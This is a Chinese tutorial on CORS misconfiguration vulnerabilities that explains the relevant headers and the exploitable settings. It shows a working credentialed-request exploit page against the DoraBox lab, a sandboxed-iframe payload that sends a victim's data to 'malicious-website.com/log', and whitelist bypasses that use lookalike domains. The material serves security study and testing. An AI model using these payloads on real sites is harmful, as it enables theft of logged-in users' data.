網站若是存CORS跨域漏洞就會有用戶敏感數據被竊取的風險。
跨域資源共享(CORS)是一種瀏覽器機制,可實現對位於給定域外部的資源的受控訪問。它擴展了同源策略(SOP)並增長了靈活性。可是,若是網站的CORS策略配置和實施不當,它也可能帶來基於跨域的攻擊。CORS並非針對跨域攻擊(例如跨站點請求僞造(CSRF))的保護措施。javascript
這裏咱們必需要了解一下同源策略:同源策略是一種限制性的跨域規範,它限制了網站與源域以外的資源進行交互的能力。起源於多年前的策略是針對潛在的惡意跨域交互(例如,一個網站從另外一個網站竊取私人數據)而制定的。一般,它容許一個域向其餘域發出請求,但不容許訪問響應。源由通訊協議,域和端口號組成。
SOP是一個很好的策略,可是隨着Web應用的發展,網站因爲自身業務的需求,須要實現一些跨域的功能,可以讓不一樣域的頁面之間可以相互訪問各自頁面的內容。php
跨域資源共享(CORS)規範規定了在Web服務器和瀏覽器之間交換的標頭內容,該標頭內容限制了源域以外的域請求web資源。CORS規範標識了協議頭中Access-Control-Allow-Origin最重要的一組。當網站請求跨域資源時,服務器將返回此標頭,並由瀏覽器添加標頭Origin。
例以下面的來自站點 http://example.com 的網頁應用想要訪問 http://bar.com 的資源:
requests
html
1 GET /resources/public-data/ HTTP/1.1 2 Host: bar.com 3 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 Accept-Language: en-us,en;q=0.5 6 Accept-Encoding: gzip,deflate 7 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 8 Connection: keep-alive 9 Referer: http://example.com/examples/access-control/simpleXSInvocation.html 10 Origin: http://example.com
response
java
11 HTTP/1.1 200 OK 12 Date: Mon, 01 Dec 2020 00:23:53 GMT 13 Server: Apache/2.0.61 14 Access-Control-Allow-Origin: * 15 Keep-Alive: timeout=2, max=100 16 Connection: Keep-Alive 17 Transfer-Encoding: chunked 18 Content-Type: application/xml
第 1~9 行是請求首部。在第10行的請求頭 Origin 代表該請求來源於 http://example.com。
第 11~18 行是來自於 http://bar.com 的服務端響應。響應中攜帶了響應首部字段 Access-Control-Allow-Origin(第 14 行)。使用 Origin 和 Access-Control-Allow-Origin 就能完成最簡單的訪問控制。本例中,服務端返回的 Access-Control-Allow-Origin: * 代表,該資源能夠被任意外域訪問。若是服務端僅容許來自 http://example.com 的訪問,該首部字段的內容以下:
Access-Control-Allow-Origin: http://example.com
若是跨域請求能夠包含cookie的話,在服務器響應裏應該有這一字段:
Access-Control-Allow-Credentials: true
這樣的話攻擊者就能夠利用這個漏洞來竊取已經在這個網站上登陸了的用戶的信息(利用cookie)python
這裏以droabox靶場爲例
這個接口會返回已登陸的用戶的信息數據,經過訪問該網頁的響應咱們看到這裏可能存在CORS跨域資源共享漏洞
接下來咱們就能夠創建一個惡意的js代碼git
<!-- cors.html --> <!DOCTYPE html> <html> <head> <title>cors exp</title> </head> <body> <script type="text/javascript"> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { alert(this.responseText); document.getElementById("demo").innerHTML = this.responseText; } }; xhttp.open("GET", "http://192.168.0.101/DoraBox/csrf/userinfo.php"); xhttp.withCredentials = true; xhttp.send(); } cors(); </script> </body> </html>
訪問這個頁面就能夠獲取已登陸的用戶的信息
該惡意代碼首先定義一個函數cors,以get形式訪問目標網址,建立XMLHttpRequest對象爲xhttp,經過ajax的onreadystatechange判斷請求狀態,若是請求已完成,且相應已就緒,則彈出返回文本。github
在以前咱們瞭解了一些關於CORS跨域資源共享通訊的一些字段含義,
CORS的漏洞主要看當咱們發起的請求中帶有Origin頭部字段時,服務器的返回包帶有CORS的相關字段而且容許Origin的域訪問。
通常測試WEB漏洞都會用上BurpSuite,而BurpSuite能夠實現幫助咱們檢測這個漏洞。
首先是自動在HTTP請求包中加上Origin的頭部字段,打開BurpSuite,選擇Proxy模塊中的Options選項,找到Match and Replace這一欄,勾選Request header 將空替換爲Origin:example.com的Enable框。
當咱們進行測試時,看服務器響應頭字段裏能夠關注這幾個點:
最好利用的配置:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
可能存在可利用的配置:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
很好的條件但沒法利用:
下面這組配置組合雖然看起來很完美可是CORS機制已經默認自動禁止了這種組合,算是CORS的最後一道防線
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
單一的狀況
Access-Control-Allow-Origin:*
總結漏洞的緣由:
1:CORS服務端的 Access-Control-Allow-Origin 設置爲了 *,而且 Access-Control-Allow-Credentials 設置爲false,這樣任何網站均可以獲取該服務端的任何數據了。
2:有一些網站的Access-Control-Allow-Origin他的設置並非固定的,而是根據用戶跨域請求數據的Origin來定的。這時,無論Access-Control-Allow-Credentials 設置爲了 true 仍是 false。任何網站均可以發起請求,並讀取對這些請求的響應。意思就是任何一個網站均可以發送跨域請求來得到CORS服務端上的數據。web
一些支持從多個來源進行訪問的應用程序經過使用容許的來源白名單來實現。收到CORS請求後,會將提供的來源與白名單進行比較。若是來源出如今白名單中,那麼它會反映在Access-Control-Allow-Origin標題中,以便授予訪問權限。例如,web應用收到一個正常的請求:ajax
GET /data HTTP/1.1 Host: bar.com ... Origin: https://example.com
web應用根據其容許的來源列表檢查當前請求資源的來源,若是在列表中,則按如下方式反映該來源:正則表達式
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://example.com
但在檢測來源是否存在於白名單時常常可能出現問題,一些網站可能會容許其全部的子域(包括還沒有存在將來可能存在的子域)來進行訪問,或者容許其餘網站的域以及其子域來訪問請求。這些請求通常都經過通配符或者正則表達式來完成,可是若是這其中出現錯誤可能就會致使給予其餘未被受權的域訪問權限。例如:
例如,假設一個應用程序授予對如下列結尾的全部域的訪問權限:
examplecom
攻擊者可能能夠經過註冊域來得到訪問權限:
exeexample.com
或者,假設應用程序授予對全部以example.com開頭的域訪問權限,攻擊者就可使用該域得到訪問權限:
example.com.evil-user.net
假如兩個互相受信任的源,若是其中一個網站存在XSS,攻擊者就能夠利用XSS注入一些JavaScript代碼,利用這些代碼對信任其源的另外一個網站進行敏感信息的獲取。
若是進行CORS請求時網站響應:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://vulnerable.com Access-Control-Allow-Credentials: true
就能夠利用XSS漏洞在vulnerable.com網站上使用下面的URL來經過檢索API密鑰:
https://vulnerable.com/?xss=<script>cors-stuff-here</script>
CORS協議的一個重要安全前提是跨域請求中的Origin頭不能被僞造,這個前提並非老是成立。Origin頭最先被提出用於防護CSRF攻擊,它的語法格式在RFC 6564中被定義。RFC 6564規定,若是請求來自隱私敏感上下文時,Origin頭的值應該爲null,可是它卻沒有明確界定什麼是隱私敏感上下文。
CORS協議複用了Origin頭,但在CORS標準中一樣缺少對跨域請求Origin中null明確的定義和限制。有些開發者在網站上配置信任 null,用於與本地file頁面共享數據,以下所示:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在這種狀況下,攻擊者可使用各類技巧來生成跨域請求,該請求構造的Origin爲null值。這將知足白名單的要求,從而致使跨域訪問。例如,可使用iframe如下格式的沙盒跨域請求來完成:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='malicious-website.com/log?key='+this.responseText; }; </script>"></iframe>
這就意味着任何配置有Access-Control-Allow-Origin: null
和Access-Control-Allow-Credentials:true
的網站等同於沒有瀏覽器SOP的保護,均可以被其餘任意域以這種方式讀取內容。
github上提供了一個關於掃描CORS配置漏洞的腳本
https://github.com/chenjj/CORScanner
CORScanner是一個python工具,旨在發現網站的CORS錯誤配置漏洞。它能夠幫助網站管理員和滲透測試人員檢查他們針對的域/ URL是否具備不安全的CORS策略。
可是這個好像不能掃描特定接口的
CORS漏洞主要是因爲配置錯誤而引發的。因此,預防漏洞變成了一個配置問題。下面介紹了一些針對CORS攻擊的有效防護措施。